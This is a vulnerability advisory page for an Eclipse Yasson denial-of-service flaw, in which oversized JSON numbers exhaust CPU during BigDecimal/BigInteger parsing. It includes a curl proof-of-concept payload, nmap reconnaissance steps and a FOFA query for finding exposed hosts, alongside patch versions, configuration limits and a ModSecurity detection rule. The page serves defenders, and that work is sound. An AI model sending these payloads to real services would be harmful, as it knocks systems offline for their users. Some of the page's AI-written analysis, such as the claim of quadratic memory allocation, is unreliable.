CVE Professor
/
All CVEs
CVE-2026-137408

CVE-2026-137408 — Eclipse Foundation Eclipse Yasson (1.0.11) — CWE-400 · CWE-770

HIGH CVSS 8.7 CVE.org

In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for `BigInteger`, `BigDecimal`, `Number` and untyped targets (`Object`, `Map<String,Object>`) take the raw JSON number token as a string and pass it to `new BigDecimal(String)` / `new BigInteger(String)` without any length limit. These constructors have quadratic cost in the number of digits, so a single JSON number or quoted digit string of a few hundred KB to 1 MB can occupy a thread for several seconds to about 10 seconds. The number-length limit that Parsson added for CVE-2023-4043 (default 1100 characters) is enforced only in `JsonParser.getBigDecimal()`, which Yasson does not call on these paths, so it does not mitigate the issue. A remote, unauthenticated attacker who can send JSON to an application that binds it to one of these types without prior validation can cause denial of service through CPU exhaustion. This issue is fixed in 1.0.12, 2.0.5, and 3.0.7 versions by introducing a default maximum length of 1,100 characters for BigInteger/BigDecimal and scale of 100,000 for BigDecimal. These defaults are configurable via JsonbConfig properties or system properties, `yasson.max-big-number-length` and `yasson.max-big-number-scale` respectively. Yasson 2.0.X and 1.0.X artifacts where previously published to the `org.eclipse` group id. The 2.0.5 and 1.0.12 artifacts have been published to the currently used `org.eclipse.yasson` group id.

In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for `BigInteger`, `BigDecimal`, `Number` and untyped targets (`Object`, `Map<String,Object>`) take the raw JSON number token as a string and pass it to `new BigDecimal(String)` / `new BigInteger(String)` without any length limit. These constructors have quadratic cost in the number of digits, so a single JSON number or quoted digit string of a few hundred KB to 1 MB can occupy a thread for several seconds to about 10 seconds. The number-length limit that Parsson added for CVE-2023-4043 (default 1100 characters) is enforced only in `JsonParser.getBigDecimal()`, which Yasson does not call on these paths, so it does not mitigate the issue. A remote, unauthenticated attacker who can send JSON to an application that binds it to one of these types without prior validation can cause denial of service through CPU exhaustion. This issue is fixed in 1.0.12, 2.0.5, and 3.0.7 versions by introducing a default maximum length of 1,100 characters for BigInteger/BigDecimal and scale of 100,000 for BigDecimal. These defaults are configurable via JsonbConfig properties or system properties, `yasson.max-big-number-length` and `yasson.max-big-number-scale` respectively. Yasson 2.0.X and 1.0.X artifacts where previously published to the `org.eclipse` group id. The 2.0.5 and 1.0.12 artifacts have been published to the currently used `org.eclipse.yasson` group id.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. None VC:N
Vuln. Integrity None VI:N
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
Eclipse Yasson (the reference implementation of JSON‑B) deserializes JSON numeric values for the following target types:

Target typeConstructor used
java.math.BigIntegernew BigInteger(String)
java.math.BigDecimalnew BigDecimal(String)
java.lang.Number (untyped)same as above
Object / Map (untyped)same as above

The deserializer takes the raw JSON number token as a string and passes it directly to the Java constructors without imposing any length limit.
Both BigInteger(String) and BigDecimal(String) have a quadratic time complexity in the number of digits (O(n²)). Consequently, a single numeric literal of a few hundred kilobytes to one megabyte can consume a thread for several seconds up to ~10 s, exhausting CPU resources.

Yasson’s earlier patch for CVE‑2023‑4043 added a length guard in JsonParser.getBigDecimal(), but the vulnerable paths bypass that method entirely. Therefore the guard is ineffective for the affected deserializers.

CWE mapping

  • CWE‑400 – Uncontrolled Resource Consumption

  • CWE‑770 – Allocation of Unbounded Resources

  • CWE‑407 – Uncontrolled Memory Allocation
  • CVSS

  • Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

  • No authentication, no user interaction, high availability impact only.


    ⚡ Attack Chain

    Note: The exact HTTP endpoint that accepts the JSON payload is not specified in the CVE description. The following example uses a generic /api/submit endpoint that is commonly found in REST services built with JSON‑B. Replace it with the real URI in your environment.

    1. Discovery & Reconnaissance

    StepTechniqueTools / Commands
    Identify Java web applicationPort scan, banner grabnmap -sV -p 80,443 <target>
    Detect JSON‑B usageSearch for org.eclipse.yasson in class‑path or JAR listjar tf <app‑war>.wargrep yasson
    Determine Yasson versionInspect pom.xml or META-INF/MANIFEST.MFgrep -i yasson <app‑war>/META-INF/MANIFEST.MF
    Verify vulnerabilitySend a large numeric payload and observe CPU spikeSee exploitation step below

    2. Exploitation

    Goal: Trigger CPU exhaustion on a single thread that processes the JSON request.

    Payload
    A JSON object containing a single numeric field whose value is a string of 1 MB of digits. The field name is arbitrary; the deserializer will treat it as a BigDecimal or BigInteger depending on the target type.

    {
      "hugeNumber": "12345678901234567890123456789012345678901234567890..."  // 1 000 000 digits
    }

    Curl PoC (illustrative)

    # Generate a 1 MB numeric string
    NUM=$(printf '1%.0s' {1..1000000})   # 1 000 000 digits
    
    # Build JSON payload
    JSON=$(printf '{"hugeNumber":"%s"}' "$NUM")
    
    # Send request
    curl -s -X POST \
         -H "Content-Type: application/json" \
         -d "$JSON" \
         http://<target>/api/submit

    What happens on the server

    1. The JSON parser reads the token hugeNumber and passes the raw string to new BigDecimal(String) (or new BigInteger(String) if the target type is Number/Object).
    2. The constructor performs a quadratic‑time conversion, allocating memory proportional to the square of the digit count.
    3. The thread that handles the HTTP request is blocked for several seconds to ~10 s, consuming CPU cycles.
    4. If the attacker repeats the request or sends many such requests, the application’s thread pool is saturated, leading to a denial‑of‑service (DoS).

    3. Post‑Exploitation

    The vulnerability is purely a DoS; it does not provide privilege escalation, RCE, or data exfiltration. The attacker’s impact is:

  • Service interruption: legitimate users cannot access the application while the CPU is saturated.
  • Potential cascading effects: if the application is part of a larger stack (e.g., behind a load balancer), the DoS can propagate to other services.

  • 🌍 Real World Impact

    ImpactDescription
    AvailabilityHigh (CVSS VA:H). A single oversized number can lock a thread for up to 10 s. Repeated or concurrent requests can exhaust all worker threads, causing the application to become unresponsive.
    Confidentiality / IntegrityNone (CVSS VC:N, VI:N). The vulnerability does not leak data or modify it.
    Privilege Escalation / RCENone (CVSS PR:N, AT:N). The attacker does not gain any elevated privileges or execute code.
    User InteractionNone (CVSS UI:N). The attack can be performed entirely from the network.

    Practical consequences

  • Web services built with Yasson (e.g., Spring Boot, Jakarta EE) may experience intermittent outages during peak traffic or targeted attacks.
  • High‑traffic APIs can see a dramatic drop in throughput, potentially violating SLAs.
  • In environments with limited CPU resources (e.g., containers, serverless functions), even a single request can exhaust the entire instance.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ProductAffected versionsFixed versions
    Eclipse Yasson1.0.0 – 1.0.111.0.12
    Eclipse Yasson2.0.0 – 2.0.42.0.5
    Eclipse Yasson3.0.0 – 3.0.63.0.7

    Action: Upgrade to the latest patched release (≥ 1.0.12, 2.0.5, 3.0.7).
    If you are using the older org.eclipse group ID, ensure you replace it with org.eclipse.yasson in your build configuration.

    2. Workarounds (if upgrade is not immediately possible)

    SettingDefault (fixed)Suggested valueHow to apply
    yasson.max-big-number-length1100 characters500–1000 (depends on risk tolerance)System property: -Dyasson.max-big-number-length=500
    yasson.max-big-number-scale100 00010 000–50 000System property: -Dyasson.max-big-number-scale=10000
    JSON schema validationNoneAdd a schema that limits numeric lengthUse JSON‑B JsonbConfig with JsonbBuilder

    Implementation example (Java)

    JsonbConfig config = new JsonbConfig()
        .withProperty("yasson.max-big-number-length", 500)
        .withProperty("yasson.max-big-number-scale", 10000);
    
    Jsonb jsonb = JsonbBuilder.create(config);

    3. WAF / ModSecurity Rules

    RuleDescription
    Block JSON numbers > 1100 digitsDetects \d{1101,} in the request body and returns 400.
    Rate‑limit large payloadsThrottle requests with Content‑Length > 1 MB.

    ModSecurity example

    SecRule REQUEST_BODY "@rx \"\\d{1101,}\"" \
        "id:1001,phase:2,deny,status:400,msg:'Large numeric literal detected'"

    4. Detection

    IndicatorWhat to look for
    CPU spike on application servertop, htop, or container metrics
    Thread dumps showing BigDecimal parsingjstack, jcmd
    Repeated 400 responses from WAF ruleWeb server logs
    High number of requests with Content‑Length > 1 MBLog aggregation (ELK, Splunk)

    Sample log pattern

    2026-12-04T12:34:56Z INFO  [http-nio-8080-exec-12] org.eclipse.yasson.JsonbDeserializer - Parsing BigDecimal of length 1048576

    ⚠️ Urgency

  • CVSS score: 8.7 (High) – indicates a serious availability impact.
  • Exploit complexity: Low (remote, unauthenticated, no user interaction).
  • CISA KEV: Not listed, but the lack of a KEV does not reduce the risk; the vulnerability is still exploitable.
  • Business impact: For services with strict uptime requirements, even a few seconds of downtime per request can be unacceptable.
Priority: Immediate. If the application is exposed to the internet or a large user base, patching should be performed as soon as possible. If an upgrade cannot be performed immediately, apply the configuration workarounds and WAF rules to mitigate the risk until a patch is available.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Eclipse Foundation Eclipse Yasson"
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-400 CWE-770 CWE-407
Affected Products (1)
Eclipse Foundation:Eclipse Yasson (1.0.11)
Related CVEs
5.8
CVE-2026-144210
In Eclipse Safe Open Vehicle Core (S-CORE) Kyron versions 0.0.3 through 0.2.0, `SpmcStealQueue::fetch_from` in
7.4
CVE-2026-110481
Improper Certificate Validation vulnerability in Apache Camel Milo component. This issue affects Apache Cam
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate
8.7
CVE-2026-145021
Zebra before 7.1.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated cli
8.7
CVE-2026-145034
Zebra before 7.1.0 contains a denial of service vulnerability that allows a single malicious P2P peer to halt
8.7
CVE-2026-145079
pypdf before 7.1.1 contains an uncontrolled resource consumption vulnerability that allows attackers to cause
8.7
CVE-2026-144815
A flaw has been found in EZVIZ CS-C2C and CS-C6c 5.3. This impacts an unknown function of the component RTSP S